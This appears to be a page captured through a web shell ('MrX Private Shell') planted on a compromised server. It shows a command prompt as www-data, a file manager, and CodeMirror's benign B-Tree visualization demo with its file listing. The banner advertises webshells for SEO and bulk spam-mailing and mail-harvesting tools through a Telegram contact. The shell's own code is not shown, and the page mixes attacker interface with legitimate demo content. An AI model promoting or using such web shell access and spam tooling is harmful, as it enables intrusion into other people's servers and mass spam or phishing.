__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<!doctype html>

<title>CodeMirror: B-Tree visualization</title>
<meta charset="utf-8"/>
<link rel=stylesheet href="../html/docs.css">

<link rel="stylesheet" href="/usr/share/javascript/codemirror/lib/codemirror.css">
<script src="/usr/share/javascript/codemirror/lib/codemirror.js"></script>
<style>
      .lineblock { display: inline-block; margin: 1px; height: 5px; }
      .CodeMirror {border: 1px solid #aaa; height: 400px}
    </style>
<div id=nav>
  <a href="https://codemirror.net"><h1>CodeMirror</h1><img id=logo src="../html/logo.png"></a>

  <ul>
    <li><a href="../index.html">Home</a>
    <li><a href="../html/manual.html">Manual</a>
    <li><a href="https://github.com/codemirror/codemirror">Code</a>
  </ul>
  <ul>
    <li><a class=active href="#">B-Tree visualization</a>
  </ul>
</div>

<article>
<h2>B-Tree visualization</h2>
<form><textarea id="code" name="code">type here, see a summary of the document b-tree below</textarea></form>
      <div style="display: inline-block; height: 402px; overflow-y: auto" id="output"></div>

    <script id="me">
var editor = CodeMirror.fromTextArea(document.getElementById("code"), {
  lineNumbers: true,
  lineWrapping: true
});
var updateTimeout;
editor.on("change", function(cm) {
  clearTimeout(updateTimeout);
  updateTimeout = setTimeout(updateVisual, 200);
});
updateVisual();

function updateVisual() {
  var out = document.getElementById("output");
  out.innerHTML = "";

  function drawTree(out, node) {
    if (node.lines) {
      out.appendChild(document.createElement("div")).innerHTML =
        "<b>leaf</b>: " + node.lines.length + " lines, " + Math.round(node.height) + " px";
      var lines = out.appendChild(document.createElement("div"));
      lines.style.lineHeight = "6px"; lines.style.marginLeft = "10px";
      for (var i = 0; i < node.lines.length; ++i) {
        var line = node.lines[i], lineElt = lines.appendChild(document.createElement("div"));
        lineElt.className = "lineblock";
        var gray = Math.min(line.text.length * 3, 230), col = gray.toString(16);
        if (col.length == 1) col = "0" + col;
        lineElt.style.background = "#" + col + col + col;
        lineElt.style.width = Math.max(Math.round(line.height / 3), 1) + "px";
      }
    } else {
      out.appendChild(document.createElement("div")).innerHTML =
        "<b>node</b>: " + node.size + " lines, " + Math.round(node.height) + " px";
      var sub = out.appendChild(document.createElement("div"));
      sub.style.paddingLeft = "20px";
      for (var i = 0; i < node.children.length; ++i)
        drawTree(sub, node.children[i]);
    }
  }
  drawTree(out, editor.getDoc());
}

function fillEditor() {
  var sc = document.getElementById("me");
  var doc = (sc.textContent || sc.innerText || sc.innerHTML).replace(/^\s*/, "") + "\n";
  doc += doc; doc += doc; doc += doc; doc += doc; doc += doc; doc += doc;
  editor.setValue(doc);
}
    </script>

<p><button onclick="fillEditor()">Add a lot of content</button></p>

  </article>

Filemanager

Name Type Size Permission Actions
activeline.html File 3.26 KB 0644
anywordhint.html File 2.87 KB 0644
bidi.html File 4.88 KB 0644
btree.html File 2.94 KB 0644
buffers.html File 3.59 KB 0644
changemode.html File 1.78 KB 0644
closebrackets.html File 1.72 KB 0644
closetag.html File 1.58 KB 0644
complete.html File 4.4 KB 0644
emacs.html File 2.76 KB 0644
folding.html File 6.12 KB 0644
fullscreen.html File 3.53 KB 0644
hardwrap.html File 2.62 KB 0644
html5complete.html File 1.99 KB 0644
indentwrap.html File 2.62 KB 0644
loadmode.html File 2.31 KB 0644
marker.html File 1.53 KB 0644
markselection.html File 1.94 KB 0644
matchhighlighter.html File 4.89 KB 0644
matchtags.html File 1.48 KB 0644
multiplex.html File 2.25 KB 0644
mustache.html File 2.18 KB 0644
panel.html File 3.57 KB 0644
placeholder.html File 1.55 KB 0644
preview.html File 2.54 KB 0644
requirejs.html File 2.27 KB 0644
resize.html File 1.4 KB 0644
rulers.html File 1.45 KB 0644
runmode-standalone.html File 2.3 KB 0644
runmode.html File 2.36 KB 0644
search.html File 4.89 KB 0644
simplemode.html File 8.14 KB 0644
simplescrollbars.html File 5.1 KB 0644
spanaffectswrapping_shim.html File 3 KB 0644
sublime.html File 3.23 KB 0644
theme.html File 7.5 KB 0644
trailingspace.html File 1.61 KB 0644
variableheight.html File 2.12 KB 0644
vim.html File 4.32 KB 0644
visibletabs.html File 1.89 KB 0644
xmlcomplete.html File 3.78 KB 0644
Filemanager